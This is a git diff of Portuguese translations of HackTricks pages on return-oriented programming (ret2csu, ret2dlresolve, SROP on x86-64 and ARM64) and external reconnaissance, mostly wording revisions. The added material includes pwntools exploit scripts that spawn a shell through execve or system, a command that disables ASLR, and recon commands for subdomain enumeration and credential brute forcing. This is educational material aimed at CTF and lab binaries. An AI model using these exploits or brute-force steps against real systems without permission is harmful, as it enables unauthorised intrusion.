-Você tem um [**exemplo usando essa técnica e explicando-a aqui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), e este é o exploit final que ele usou:
+Você tem um [**exemplo usando essa técnica e explicando-a aqui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), e este é o exploit final que foi usado:
 ```python
 from pwn import *

@ -109,12 +123,12 @@ p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
 print(p.recvline())                        # should receive "Awesome work!"
 ```
 {% hint style="warning" %}
-Note que o exploit anterior não tem como objetivo realizar um **`RCE`**, mas sim chamar uma função chamada **`win`** (obtendo o endereço de `win` a partir do stdin chamando gets na cadeia ROP e armazenando-o em r15) com um terceiro argumento com o valor `0xdeadbeefcafed00d`.
+Note que o exploit anterior não tem como objetivo fazer um **`RCE`**, mas sim chamar uma função chamada **`win`** (pegando o endereço de `win` do stdin chamando gets na cadeia ROP e armazenando-o em r15) com um terceiro argumento com o valor `0xdeadbeefcafed00d`.
 {% endhint %}

 ### Bypassando a chamada e alcançando o ret

-O exploit a seguir foi extraído [**desta página**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) onde o **ret2csu** é utilizado, mas em vez de usar a chamada, está **bypassando as comparações e alcançando o `ret`** após a chamada:
+O exploit a seguir foi extraído [**desta página**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) onde o **ret2csu** é usado, mas em vez de usar a chamada, está **bypassando as comparações e alcançando o `ret`** após a chamada:
 ```python
 # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
 # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
--- a/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
+++ b/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
@ -6,8 +6,8 @@

 Outras maneiras de apoiar o HackTricks:

-* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 * **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
@ -18,32 +18,53 @@ Outras maneiras de apoiar o HackTricks:

 Conforme explicado na página sobre [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) e [**Relro**](../common-binary-protections-and-bypasses/relro.md), binários sem Full Relro resolverão símbolos (como endereços para bibliotecas externas) na primeira vez que são usados. Essa resolução ocorre chamando a função **`_dl_runtime_resolve`**.

-A função **`_dl_runtime_resolve`** obtém do stack referências para algumas estruturas de que precisa para **resolver** o símbolo especificado.
+A função **`_dl_runtime_resolve`** pega do stack referências para algumas estruturas que precisa para **resolver** o símbolo especificado.

 Portanto, é possível **falsificar todas essas estruturas** para fazer a resolução dinâmica do símbolo solicitado (como a função **`system`**) e chamá-lo com um parâmetro configurado (por exemplo, **`system('/bin/sh')`**).

-Normalmente, todas essas estruturas são falsificadas criando uma **cadeia ROP inicial que chama `read`** em uma memória gravável, em seguida as **estruturas** e a string **`'/bin/sh'`** são passadas para que sejam armazenadas pelo `read` em uma localização conhecida, e então a cadeia ROP continua chamando **`_dl_runtime_resolve`**, fazendo com que ele **resolva o endereço de `system`** nas estruturas falsas e **chame esse endereço** com o endereço de `$'/bin/sh'`.
+Normalmente, todas essas estruturas são falsificadas fazendo uma **cadeia ROP inicial que chama `read`** sobre uma memória gravável, em seguida as **estruturas** e a string **`'/bin/sh'`** são passadas para que sejam armazenadas pelo read em uma localização conhecida, e então a cadeia ROP continua chamando **`_dl_runtime_resolve`**, tendo ele **resolver o endereço de `system`** nas estruturas falsas e **chamando este endereço** com o endereço para `$'/bin/sh'`.

 {% hint style="success" %}
 Essa técnica é útil especialmente se não houver gadgets de syscall (para usar técnicas como [**ret2syscall**](rop-syscall-execv/) ou [SROP](srop-sigreturn-oriented-programming/)) e não houver maneiras de vazar endereços da libc.
 {% endhint %}

-Você pode encontrar uma explicação melhor sobre essa técnica na segunda metade do vídeo:
+Confira este vídeo para uma boa explicação sobre essa técnica na segunda metade do vídeo:

 {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}

-## Estruturas
+Ou confira estas páginas para uma explicação passo a passo:

-É necessário falsificar 3 estruturas: **`JMPREL`**, **`STRTAB`** e **`SYMTAB`**. Você tem uma explicação melhor sobre como essas são construídas em [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
+* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
+* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)

 ## Resumo do Ataque

-1. Escrever estruturas falsas em algum lugar
-2. Definir o primeiro argumento do sistema (`$rdi = &'/bin/sh'`)
-3. Definir na pilha os endereços das estruturas para chamar **`_dl_runtime_resolve`**
-4. **Chamar** `_dl_runtime_resolve`
+1. Escreva estruturas falsas em algum lugar
+2. Defina o primeiro argumento do system (`$rdi = &'/bin/sh'`)
+3. Defina na pilha os endereços das estruturas para chamar **`_dl_runtime_resolve`**
+4. **Chame** `_dl_runtime_resolve`
 5. **`system`** será resolvido e chamado com `'/bin/sh'` como argumento

+Da [**documentação do pwntools**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), assim é como um ataque **`ret2dlresolve`** se parece:
+```python
+context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
+>>> rop = ROP(elf)
+>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
+>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
+>>> rop.ret2dlresolve(dlresolve)
+>>> raw_rop = rop.chain()
+>>> print(rop.dump())
+0x0000:         0x400593 pop rdi; ret
+0x0008:              0x0 [arg0] rdi = 0
+0x0010:         0x400591 pop rsi; pop r15; ret
+0x0018:         0x601e00 [arg1] rsi = 6299136
+0x0020:      b'iaaajaaa' <pad r15>
+0x0028:         0x4003f0 read
+0x0030:         0x400593 pop rdi; ret
+0x0038:         0x601e48 [arg0] rdi = 6299208
+0x0040:         0x4003e0 [plt_init] system
+0x0048:          0x15670 [dlresolve index]
+```
 ## Exemplo

 ### Pwntools Puro
--- a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
+++ b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
@ -2,28 +2,28 @@

 <details>

-<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+<summary><strong>Aprenda hacking na AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

 Outras maneiras de apoiar o HackTricks:

- Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
- Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **Compartilhe seus truques de hacking enviando PRs para** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.

 </details>

 ## Informações Básicas

-**`Sigreturn`** é uma **chamada de sistema** especial que é principalmente usada para limpar após um manipulador de sinal ter concluído sua execução. Sinais são interrupções enviadas a um programa pelo sistema operacional, frequentemente para indicar que alguma situação excepcional ocorreu. Quando um programa recebe um sinal, ele pausa temporariamente seu trabalho atual para lidar com o sinal com um **manipulador de sinal**, uma função especial projetada para lidar com sinais.
+**`Sigreturn`** é uma **syscall** especial usada principalmente para limpar após a conclusão da execução de um manipulador de sinal. Sinais são interrupções enviadas a um programa pelo sistema operacional, frequentemente para indicar que alguma situação excepcional ocorreu. Quando um programa recebe um sinal, ele pausa temporariamente seu trabalho atual para lidar com o sinal com um **manipulador de sinal**, uma função especial projetada para lidar com sinais.

-Após o manipulador de sinal terminar, o programa precisa **retomar seu estado anterior** como se nada tivesse acontecido. É aqui que o **`sigreturn`** entra em ação. Ele ajuda o programa a **retornar do manipulador de sinal** e restaura o estado do programa limpando o quadro da pilha (a seção de memória que armazena chamadas de função e variáveis locais) que foi usada pelo manipulador de sinal.
+Após o manipulador de sinal terminar, o programa precisa **retomar seu estado anterior** como se nada tivesse acontecido. É aqui que o **`sigreturn`** entra em ação. Ele ajuda o programa a **retornar do manipulador de sinal** e restaura o estado do programa limpando o quadro da pilha (a seção da memória que armazena chamadas de função e variáveis locais) que foi usada pelo manipulador de sinal.

-A parte interessante é como o **`sigreturn`** restaura o estado do programa: ele faz isso armazenando **todos os valores dos registradores da CPU na pilha.** Quando o sinal não está mais bloqueado, **`sigreturn` retira esses valores da pilha**, efetivamente redefinindo os registradores da CPU para seu estado antes que o sinal fosse tratado. Isso inclui o registrador do ponteiro da pilha (RSP), que aponta para o topo atual da pilha.
+A parte interessante é como o **`sigreturn`** restaura o estado do programa: ele faz isso armazenando **todos os valores dos registradores da CPU na pilha.** Quando o sinal não está mais bloqueado, **`sigreturn` retira esses valores da pilha**, efetivamente redefinindo os registradores da CPU para seu estado antes de o sinal ser tratado. Isso inclui o registrador do ponteiro da pilha (RSP), que aponta para o topo atual da pilha.

 {% hint style="danger" %}
-Chamar a chamada de sistema **`sigreturn`** de uma cadeia ROP e **adicionar os valores do registro** que gostaríamos que ele carregasse na **pilha** é possível **controlar** todos os valores dos registradores e, portanto, **chamar** por exemplo a chamada de sistema `execve` com `/bin/sh`.
+Chamar a syscall **`sigreturn`** de uma cadeia ROP e **adicionar os valores do registro** que gostaríamos que ele carregasse na **pilha** é possível **controlar** todos os valores dos registradores e, portanto, **chamar** por exemplo a syscall `execve` com `/bin/sh`.
 {% endhint %}

 Observe como isso seria um **tipo de Ret2syscall** que facilita muito o controle de parâmetros para chamar outros Ret2syscalls:
@ -139,10 +139,12 @@ target.interactive()
 * [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
 * [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
 * [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
-* Binário em assembly que permite **escrever na pilha** e em seguida chama a syscall **`sigreturn`**. É possível escrever na pilha uma [**ret2syscall**](../rop-syscall-execv/) via uma estrutura **sigreturn** e ler a flag que está dentro da memória do binário.
+* Binário em assembly que permite **escrever no stack** e em seguida chama a syscall **`sigreturn`**. É possível escrever no stack um [**ret2syscall**](../rop-syscall-execv/) via uma estrutura **sigreturn** e ler a flag que está dentro da memória do binário.
 * [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
-* Binário em assembly que permite **escrever na pilha** e em seguida chama a syscall **`sigreturn`**. É possível escrever na pilha uma [**ret2syscall**](../rop-syscall-execv/) via uma estrutura **sigreturn** (o binário contém a string `/bin/sh`).
+* Binário em assembly que permite **escrever no stack** e em seguida chama a syscall **`sigreturn`**. É possível escrever no stack um [**ret2syscall**](../rop-syscall-execv/) via uma estrutura **sigreturn** (o binário contém a string `/bin/sh`).
 * [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
 * 64 bits, sem relro, sem canary, nx, sem pie. Estouro de buffer simples abusando da função `gets` com falta de gadgets que realiza um [**ret2syscall**](../rop-syscall-execv/). A cadeia ROP escreve `/bin/sh` na `.bss` chamando gets novamente, abusa da função **`alarm`** para definir eax como `0xf` para chamar um **SROP** e executar um shell.
 * [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
-* Programa em assembly de 64 bits, sem relro, sem canary, nx, sem pie. O fluxo permite escrever na pilha, controlar vários registradores, chamar uma syscall e em seguida chamar `exit`. A syscall selecionada é um `sigreturn` que definirá registros e moverá `eip` para chamar uma instrução de syscall anterior e executar `memprotect` para definir o espaço binário como `rwx` e definir o ESP no espaço binário. Seguindo o fluxo, o programa chamará read no ESP novamente, mas neste caso o ESP estará apontando para a próxima instrução, então passar um shellcode escreverá como a próxima instrução e o executará.
+* Programa em assembly de 64 bits, sem relro, sem canary, nx, sem pie. O fluxo permite escrever no stack, controlar vários registradores, chamar uma syscall e então chamar `exit`. A syscall selecionada é um `sigreturn` que irá definir registros e mover `eip` para chamar uma instrução de syscall anterior e executar `memprotect` para definir o espaço binário como `rwx` e definir o ESP no espaço binário. Seguindo o fluxo, o programa chamará read no ESP novamente, mas neste caso o ESP estará apontando para a próxima instrução, então passar um shellcode escreverá como a próxima instrução e o executará.
+* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
+* SROP é usado para conceder privilégios de execução (memprotect) ao local onde um shellcode foi colocado.
--- a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
+++ b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
@ -14,7 +14,7 @@ Outras maneiras de apoiar o HackTricks:

 </details>

-## Código
+## Code
 ```c
 #include <stdio.h>
 #include <string.h>
@ -42,6 +42,47 @@ Compile com:
 clang -o srop srop.c -fno-stack-protector
 echo 0 | sudo tee /proc/sys/kernel/randomize_va_space  # Disable ASLR
 ```
+## Exploração
+
+A exploração abusa do bof para retornar à chamada para **`sigreturn`** e preparar a pilha para chamar **`execve`** com um ponteiro para `/bin/sh`.
+
+{% hint style="danger" %}
+Por alguma razão que desconheço, a chamada para **`sigreturn`** não está fazendo nada, então não funciona.
+{% endhint %}
+```python
+from pwn import *
+
+p = process('./srop')
+elf = context.binary = ELF('./srop')
+libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
+libc.address = 0x0000fffff7df0000 # ASLR disabled
+binsh = next(libc.search(b"/bin/sh"))
+
+print("/bin/sh in: " + hex(binsh))
+
+stack_offset = 72
+
+sigreturn = 0x00000000004006a0 # mov	x0, #0x8b ; svc	#0x0
+svc_call = 0x00000000004006a4  # svc	#0x0
+
+
+frame = SigreturnFrame()
+frame.x8 = 0xdd            # syscall number for execve
+frame.x0 = binsh      # pointer to /bin/sh
+frame.x1 = 0x4343434343434343             # NULL
+frame.x2 = 0x0             # NULL
+frame.pc = svc_call
+
+payload = b'A' * stack_offset
+payload += p64(sigreturn)
+payload += b"B" * len(bytes(frame))
+
+with open("/tmp/i", "wb") as f:
+f.write(payload)
+
+p.sendline(payload)
+p.interactive()
+```
 <details>

 <summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
--- a/generic-methodologies-and-resources/external-recon-methodology/README.md
+++ b/generic-methodologies-and-resources/external-recon-methodology/README.md
@ -2,21 +2,21 @@

 <details>

-<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

-Outras maneiras de apoiar o HackTricks:
+Outras formas de apoiar o HackTricks:

-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

 </details>

-<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

-Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
+Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).

 {% embed url="https://www.stmcyber.com/careers" %}

@ -39,12 +39,12 @@ Outra opção é visitar a página da **Wikipedia** da empresa principal e procu

 > Ok, neste ponto você deve saber todas as empresas dentro do escopo. Vamos descobrir como encontrar seus ativos.

-### **ASN**
+### **ASNs**

 Um número de sistema autônomo (**ASN**) é um **número único** atribuído a um **sistema autônomo** (AS) pela **Internet Assigned Numbers Authority (IANA)**.\
 Um **AS** consiste em **blocos** de **endereços IP** que possuem uma política claramente definida para acessar redes externas e são administrados por uma única organização, mas podem ser compostos por vários operadores.

-É interessante descobrir se a **empresa possui algum ASN atribuído** para encontrar seus **intervalos de IP**. Será interessante realizar um **teste de vulnerabilidade** contra todos os **hosts** dentro do **escopo** e procurar **domínios** dentro desses IPs.\
+É interessante descobrir se a **empresa possui algum ASN** atribuído para encontrar seus **intervalos de IP**. Será interessante realizar um **teste de vulnerabilidade** contra todos os **hosts** dentro do **escopo** e procurar **domínios** dentro desses IPs.\
 Você pode **pesquisar** pelo nome da empresa, pelo **IP** ou pelo **domínio** em [**https://bgp.he.net/**](https://bgp.he.net)**.**\
 **Dependendo da região da empresa, esses links podem ser úteis para reunir mais dados:** [**AFRINIC**](https://www.afrinic.net) **(África),** [**Arin**](https://www.arin.net/about/welcome/region/)**(América do Norte),** [**APNIC**](https://www.apnic.net) **(Ásia),** [**LACNIC**](https://www.lacnic.net) **(América Latina),** [**RIPE NCC**](https://www.ripe.net) **(Europa). De qualquer forma, provavelmente todas as** informações úteis **(intervalos de IP e Whois)** já aparecem no primeiro link.
 ```bash
@ -75,7 +75,7 @@ Pode encontrar o IP e ASN de um domínio usando [http://ipv4info.com/](http://ip
 ### **Procurando por vulnerabilidades**

 Neste ponto, conhecemos **todos os ativos dentro do escopo**, então, se permitido, você pode executar algum **scanner de vulnerabilidades** (Nessus, OpenVAS) em todos os hosts.\
-Além disso, você pode lançar alguns [**scans de porta**](../pentesting-network/#discovering-hosts-from-the-outside) **ou usar serviços como** shodan **para encontrar** portas abertas **e, dependendo do que encontrar, você deve** consultar este livro sobre como fazer pentest em vários serviços possíveis em execução.\
+Além disso, você pode executar alguns [**scans de porta**](../pentesting-network/#discovering-hosts-from-the-outside) **ou usar serviços como** shodan **para encontrar** portas abertas **e, dependendo do que encontrar, você deve** consultar este livro sobre como fazer pentest em vários serviços possíveis em execução.\
 **Também, vale mencionar que você pode preparar algumas listas de** nomes de usuário padrão **e** senhas **e tentar** forçar a entrada em serviços com [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).

 ## Domínios
@ -100,7 +100,7 @@ Você também pode usar uma ferramenta online para essa informação: [http://pt

 ### **Reverse Whois (loop)**

-Dentro de um **whois**, você pode encontrar muitas informações interessantes como **nome da organização**, **endereço**, **e-mails**, números de telefone... Mas o que é ainda mais interessante é que você pode encontrar **mais ativos relacionados à empresa** se você realizar **buscas de reverse whois por qualquer um desses campos** (por exemplo, outros registros whois onde o mesmo e-mail aparece).\
+Dentro de um **whois**, você pode encontrar muitas informações interessantes, como nome da organização, endereço, e-mails, números de telefone... Mas o que é ainda mais interessante é que você pode encontrar mais ativos relacionados à empresa se realizar pesquisas de **reverse whois por qualquer um desses campos** (por exemplo, outros registros whois onde o mesmo e-mail aparece).\
 Você pode usar ferramentas online como:

 * [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Grátis**
@ -140,7 +140,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s

 Simplesmente dito, o favihash nos permitirá descobrir domínios que têm o mesmo hash de ícone de favicon que nosso alvo.

-Além disso, você também pode pesquisar tecnologias usando o hash de favicon, conforme explicado neste [**post do blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Isso significa que se você conhece o **hash do favicon de uma versão vulnerável de uma tecnologia web**, você pode pesquisar no shodan e **encontrar mais locais vulneráveis**:
+Além disso, você também pode pesquisar tecnologias usando o hash de favicon, conforme explicado neste [**post de blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Isso significa que se você conhece o **hash do favicon de uma versão vulnerável de uma tecnologia web**, você pode pesquisar no shodan e **encontrar mais locais vulneráveis**:
 ```bash
 shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
 ```
@ -168,7 +168,9 @@ Pesquise nas páginas da web **strings que podem ser compartilhadas em diferente
 # /etc/crontab
 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
 ```
-### Renovar todos os certificados de domínio no servidor. Isso significa que mesmo que a AC usada para isso não defina a hora em que foi gerado no tempo de Validade, é possível **encontrar domínios pertencentes à mesma empresa nos logs de transparência do certificado**.\
+### Metodologia de Reconhecimento Externo
+
+Para renovar todos os certificados de domínio no servidor. Isso significa que mesmo que a AC usada para isso não defina a hora em que foi gerada no tempo de Validade, é possível **encontrar domínios pertencentes à mesma empresa nos logs de transparência do certificado**.\
 Confira este [**artigo para mais informações**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).

 ### Informações do DMARC de E-mail
@ -177,7 +179,7 @@ Você pode usar um site como [https://dmarc.live/info/google.com](https://dmarc.

 ### **Assunção Passiva**

-Aparentemente é comum as pessoas atribuírem subdomínios a IPs que pertencem a provedores de nuvem e em algum momento **perdem esse endereço IP, mas esquecem de remover o registro DNS**. Portanto, apenas **iniciando uma VM** em uma nuvem (como Digital Ocean) você estará na verdade **assumindo o controle de alguns subdomínios**.
+Aparentemente, é comum as pessoas atribuírem subdomínios a IPs que pertencem a provedores de nuvem e, em algum momento, **perderem esse endereço IP, mas esquecerem de remover o registro DNS**. Portanto, apenas **iniciando uma VM** em uma nuvem (como Digital Ocean), você estará realmente **assumindo o controle de alguns subdomínios**.

 [**Este post**](https://kmsec.uk/blog/passive-takeover/) explica uma história sobre isso e propõe um script que **inicia uma VM na DigitalOcean**, **obtém** o **IPv4** da nova máquina e **pesquisa no Virustotal por registros de subdomínios** apontando para ele.

@ -189,15 +191,15 @@ Aparentemente é comum as pessoas atribuírem subdomínios a IPs que pertencem a

 Como você já sabe o nome da organização que possui o espaço IP. Você pode pesquisar por esses dados no shodan usando: `org:"Tesla, Inc."` Verifique os hosts encontrados em busca de novos domínios inesperados no certificado TLS.

-Você poderia acessar o **certificado TLS** da página web principal, obter o **nome da Organização** e então procurar por esse nome dentro dos **certificados TLS** de todas as páginas web conhecidas pelo **shodan** com o filtro: `ssl:"Tesla Motors"` ou usar uma ferramenta como [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
+Você poderia acessar o **certificado TLS** da página web principal, obter o **nome da organização** e então procurar por esse nome dentro dos **certificados TLS** de todas as páginas web conhecidas pelo **shodan** com o filtro: `ssl:"Tesla Motors"` ou usar uma ferramenta como [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).

 **Assetfinder**

-[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)é uma ferramenta que procura por **domínios relacionados** com um domínio principal e **subdomínios** deles, muito incrível.
+[**Assetfinder**](https://github.com/tomnomnom/assetfinder) é uma ferramenta que procura por **domínios relacionados** com um domínio principal e **subdomínios** deles, muito incrível.

 ### **Procurando por vulnerabilidades**

-Verifique se há algum [domínio para assumir](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando um domínio** mas **perdeu a propriedade**. Basta registrá-lo (se for barato o suficiente) e informar a empresa.
+Verifique se há algum [domínio para assumir o controle](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando um domínio** mas tenha **perdido a propriedade**. Basta registrá-lo (se for barato o suficiente) e informar à empresa.

 Se você encontrar algum **domínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **verificação básica de vulnerabilidades** (usando Nessus ou OpenVAS) e uma [**verificação de porta**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços em execução, você pode encontrar neste livro alguns truques para "atacá-los".\
 _Obs.: Às vezes o domínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
@ -219,7 +221,7 @@ Observe que algumas das ferramentas e técnicas para encontrar domínios também

 ### **DNS**

-Vamos tentar obter **subdomínios** dos registros de **DNS**. Também devemos tentar a **Transferência de Zona** (Se vulnerável, você deve relatar).
+Vamos tentar obter **subdomínios** dos **registros DNS**. Também devemos tentar a **Transferência de Zona** (Se vulnerável, você deve relatar).
 ```bash
 dnsrecon -a -d tesla.com
 ```
@ -306,7 +308,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
 }
 crt tesla.com
 ```
-* [**gau**](https://github.com/lc/gau)**:** recupera URLs conhecidos do AlienVault's Open Threat Exchange, do Wayback Machine e do Common Crawl para qualquer domínio fornecido.
+* [**gau**](https://github.com/lc/gau)**:** recupera URLs conhecidos da AlienVault's Open Threat Exchange, do Wayback Machine e do Common Crawl para qualquer domínio fornecido.
 ```bash
 # Get subdomains from GAUs found URLs
 gau --subs tesla.com | cut -d "/" -f 3 | sort -u
@ -326,7 +328,7 @@ shodan domain <domain>
 # Get other pages with links to subdomains
 shodan search "http.html:help.domain.com"
 ```
-* [**Censys subdomain finder**](https://github.com/christophetd/censys-subdomain-finder)
+* [**Localizador de subdomínios Censys**](https://github.com/christophetd/censys-subdomain-finder)
 ```bash
 export CENSYS_API_ID=...
 export CENSYS_API_SECRET=...
@ -381,7 +383,7 @@ puredns bruteforce all.txt domain.com
 ```
 aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
 ```
-### Segunda Rodada de Força Bruta de DNS
+### Segunda Rodada de Força Bruta no DNS

